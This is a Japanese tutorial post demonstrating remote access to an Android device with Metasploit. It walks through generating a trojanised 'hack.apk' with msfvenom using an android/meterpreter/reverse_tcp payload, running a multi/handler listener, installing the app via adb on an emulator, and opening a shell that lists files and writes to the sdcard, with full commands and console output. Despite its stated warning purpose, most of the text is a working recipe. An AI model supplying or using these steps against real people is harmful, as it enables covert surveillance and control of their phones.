Metasploitを用いたAndroidの覗き見

はじめに

この記事は遠隔操作を推奨するものではありません。またこの記事を見た個人が何をしようとその責任は持ちません。

要はこういう技術はあるけど悪用すんなって話で、かつこのようにすれば覗き見られる可能性があるためその警鐘を鳴らす意味合いの記事です。

怪しいアプリ、信頼できないアプリはインストールしない!

必要なもの

環境

計算機 バージョン等
OS Ubuntu 14.04 64bit
Metasploit Version 4.12.22

手順

  • AndroidにインストールするAPKの作成
  • 計算機で遠隔操作の待受
  • Androidに上述したAPKのインストールと起動
  • 計算機からの遠隔操作

AndroidにインストールするAPKの作成

$ ip a
(snip)
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether bc:5f:f4:5b:1c:e7 brd ff:ff:ff:ff:ff:ff
    inet 192.33.18.170/24 brd 192.33.18.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::be5f:f4ff:fe5b:1ce7/64 scope link 
       valid_lft forever preferred_lft forever
(snip)

IP addres=192.33.18.170ポートは使用されていないポートを適当に使いましょう。今回はPORT = 443とします。

# msfvenom -p /android/meterpreter/reverse_tcp LHOST=(your ip addres) LPORT=(your port) R > hack.apk

AndroidにインストールするAPKを作成します。私の場合だとこうなります。

# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.33.18.170 LPORT=443 R > hack.apk

msfpayloadコマンドだと下記のようになります。

# msfpayload android/meterpreter/reverse_tcp LHOST=192.33.18.170 LPORT=443 R > hack.apk

計算機で遠隔操作の待受

作成したアプリを起動すると接続が始まるので、待ち受ける必要があります。 LHOSTとLPORTは環境に合わせて変えてください

# msfconsole

       =[ metasploit v4.12.22-dev-03e14ec                 ]
+ -- --=[ 1577 exploits - 906 auxiliary - 271 post        ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp 
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.33.18.170
LHOST => 133.68.18.170
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.33.18.170:443 
[*] Starting the payload handler...

これで待ち受けは完了です。Androidで作成したAPKを起動することで遠隔操作可能となります。

AndroidへのAPKのインストールと起動

adbを用いてインストールします。

$ adb install hack.apk

インストールしたらAndroid(Emulator)端末にMainActivityというアプリがあるのでそれを起動します。 すると計算機のコンソールのほうが

[*] Sending stage (63234 bytes) to 192.33.18.170
[*] Meterpreter session 1 opened (192.33.18.170:443 -> 192.33.18.170:45939) at 2017-05-18 20:01:07 +0900

meterpreter >

となります。この状況でsysinfoと打ち込むと

meterpreter > sysinfo
Computer    : localhost
OS          : Android 7.1.1 - Linux 3.10.0+ (i686)
Meterpreter : java/android

このようにandroidの情報が入手できます。

shellと打ち込むとAndroidのシェルに入ることができます。

meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=10076(u0_a76) gid=10076(u0_a76) groups=10076(u0_a76),3003(inet),9997(everybody),50076(all_a76) context=u:r:untrusted_app:s0:c512,c768
ls
ls: .: Permission denied

idがアプリのidとなるのでパーミッションが適切に設定されているAndroid7.1.1ではlsすら拒絶されました。

ちなみにAndroid Emulator 4.4.2で試したところlsコマンドで何があるか確認できました。

わかりにくいので自分で打ったコマンドの前には$をつけました。実際はないです。

meterpreter > sysinfo
Computer    : localhost
OS          : Android 4.4.2 - Linux 3.10.0+ (i686)
Meterpreter : java/android
meterpreter > shell
Process 1 created.
Channel 1 created.
$ id
uid=10089(u0_a89) gid=10089(u0_a89) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50089(all_a89)
$ ls
acct
cache
config
d
data
default.prop
dev
etc
file_contexts
fstab.goldfish
fstab.ranchu
init
init.environ.rc
init.goldfish.rc
init.ranchu.rc
init.rc
init.trace.rc
init.usb.rc
mnt
proc
property_contexts
root
sbin
sdcard
seapp_contexts
sepolicy
storage
sys
system
ueventd.goldfish.rc
ueventd.ranchu.rc
ueventd.rc
vendor
$ cd sdcard
$ touch test.txt
$ ls
test.txt

sdcardのwビットが立ってたみたいで書き込みもできました。

Android7と4ではパーミッションが大きく変わっていることを初めて知りました。

最後に

怪しいアプリはインストールしない!